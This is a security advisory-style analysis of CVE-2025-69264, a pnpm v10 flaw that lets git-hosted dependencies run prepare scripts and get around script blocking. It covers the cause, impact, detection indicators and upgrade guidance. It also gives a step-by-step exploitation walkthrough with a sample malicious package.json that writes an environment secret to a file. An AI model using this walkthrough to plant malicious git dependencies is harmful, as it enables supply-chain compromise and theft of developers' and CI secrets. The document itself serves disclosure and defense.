CVE-2025-69264: 
JavaScript vulnerability analysis and mitigation

CVE-2025-69264 is a protection mechanism failure in pnpm v10+ that allows git-hosted dependencies to execute arbitrary lifecycle scripts during pnpm install, bypassing the v10 "Dependency lifecycle scripts execution disabled by default" security feature. It affects pnpm versions 10.0.0 through 10.25.x (fixed in 10.26.0) and was disclosed on January 7, 2026 by researcher orenyomtov via the GitHub Security Advisory GHSA-379q-355j-w6rj. IBM API Connect products bundling affected pnpm versions are also impacted. The CVSS v3.1 base score is 8.8 (High) (GitHub Advisory, pnpm Advisory).

The root cause (CWE-693: Protection Mechanism Failure) lies in how pnpm v10 implements its script-blocking mechanism exclusively during the BUILD phase via the onlyBuiltDependencies allowlist, while git-hosted dependencies are processed during a separate FETCH phase using preparePackage() in exec/prepare-package/src/index.ts. During the fetch phase, the code only checks the ignoreScripts flag (which defaults to false) and explicitly strips ignore-scripts from the raw config passed to lifecycle hooks — meaning prepare, prepublish, and prepack scripts execute unconditionally for any git dependency. The onlyBuiltDependencies allowlist is never consulted during the fetch phase, creating a complete bypass. Attack vectors include any git-protocol dependency specifier: git+https://, github:, gitlab:, bitbucket:, git+ssh://, or git+file:// (pnpm Advisory, GitHub Advisory).

Successful exploitation enables arbitrary code execution with the privileges of the user running pnpm install, which in CI/CD environments often means access to build secrets, environment variables, API tokens, and deployment credentials. An attacker can exfiltrate secrets, modify source code, inject backdoors, establish reverse shells, and gain persistent access to the filesystem and network. The primary risk is supply chain compromise: an attacker who controls or compromises any dependency in the tree can introduce a malicious git sub-dependency that silently executes code on every developer machine and CI runner that installs the project (GitHub Advisory, Feedly).

A proof-of-concept exploit is publicly available and was included in the original security advisory (poc.zip), demonstrating code execution via a crafted prepare script in a git-hosted package. The EPSS score is approximately 0.097% (27th percentile), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing. The vulnerability requires user interaction in the sense that a victim must run pnpm install with a dependency chain that includes a malicious git dependency, but no special privileges or configuration are needed on the attacker's side (GitHub Advisory, pnpm Advisory).

1. Create a malicious git repository: Set up a package with a prepare script containing a malicious payload, e.g.:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "scripts": {
    "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', process.env.SECRET || 'RCE!')\""
  }
}

Initialize it as a git repository and push to a public or accessible host (GitHub, GitLab, Bitbucket, or a local path).

2. Inject the malicious git dependency: Compromise a legitimate npm package or convince a target project to add a dependency that itself lists the malicious repo as a git sub-dependency:

{
  "dependencies": {
    "malicious-pkg": "git+https://github.com/attacker/malicious-pkg.git"
  }
}

3. Trigger installation: When the victim runs pnpm install on a project that (directly or transitively) depends on the malicious git package, pnpm clones the repository during the FETCH phase and calls preparePackage(), which executes the prepare, prepublish, and prepack scripts without consulting onlyBuiltDependencies.

4. Achieve code execution: The malicious prepare script runs with the victim's OS privileges, enabling exfiltration of environment variables (e.g., CI_TOKEN, AWS_SECRET_ACCESS_KEY), file system access, or establishing a reverse shell — all without any warning or approval prompt from pnpm (pnpm Advisory, GitHub Advisory).

• File System: Unexpected files created in /tmp/ or other world-writable directories (e.g., /tmp/pnpm-vuln-poc-marker.txt, /tmp/pwned.txt) during or immediately after pnpm install; new or modified files in the project source tree not attributable to known packages.
• Process: Unexpected child processes spawned by the Node.js pnpm process during installation, such as curl, wget, bash, sh, python, or network utilities; node -e invocations with encoded or obfuscated payloads visible in process listings.
• Network: Outbound connections to unknown external hosts initiated during pnpm install (e.g., DNS lookups or HTTP requests to attacker-controlled infrastructure for data exfiltration or reverse shell callbacks).
• Logs: CI/CD build logs showing unexpected script output during the dependency fetch/install phase; pnpm output referencing prepare, prepublish, or prepack scripts for git-hosted packages that were not explicitly trusted.
• Environment: Missing or exfiltrated secrets detected via secret scanning alerts; unauthorized access to cloud resources or APIs using credentials that were present as environment variables during the build (pnpm Advisory).

Upgrade immediately to pnpm v10.26.0 or later, which introduces the blockExoticSubdeps option and addresses the fetch-phase script execution bypass (pnpm commit). As a workaround prior to upgrading, avoid using git-protocol dependencies in package.json or any transitive dependency, and audit all existing git dependencies for suspicious lifecycle scripts. For CI/CD pipelines, enable blockExoticSubdeps: true in .npmrc after upgrading to block git sub-dependencies in transitive packages, implement dependency scanning tools, restrict outbound network access from build environments, and rotate any secrets that may have been exposed during builds using vulnerable pnpm versions (GitHub Advisory, pnpm Advisory).

The vulnerability received notable coverage under the "PackageGate" umbrella, which grouped it with related zero-days in JavaScript package managers. SecurityWeek published an article titled "PackageGate Flaws Open JavaScript Ecosystem to Supply Chain Attacks," and BleepingComputer covered it as "Hackers Can Bypass npm's Shai-Hulud Defenses via Git Dependencies" (SecurityWeek, BleepingComputer). Security researchers and community members on Mastodon and Bluesky highlighted the deceptive nature of the bypass — that users who explicitly relied on pnpm v10's security model were silently unprotected for git dependencies. DevOps.com and Daniel Miessler's Unsupervised Learning newsletter also featured the issue, reflecting broad concern in the developer security community about supply chain risks in package managers.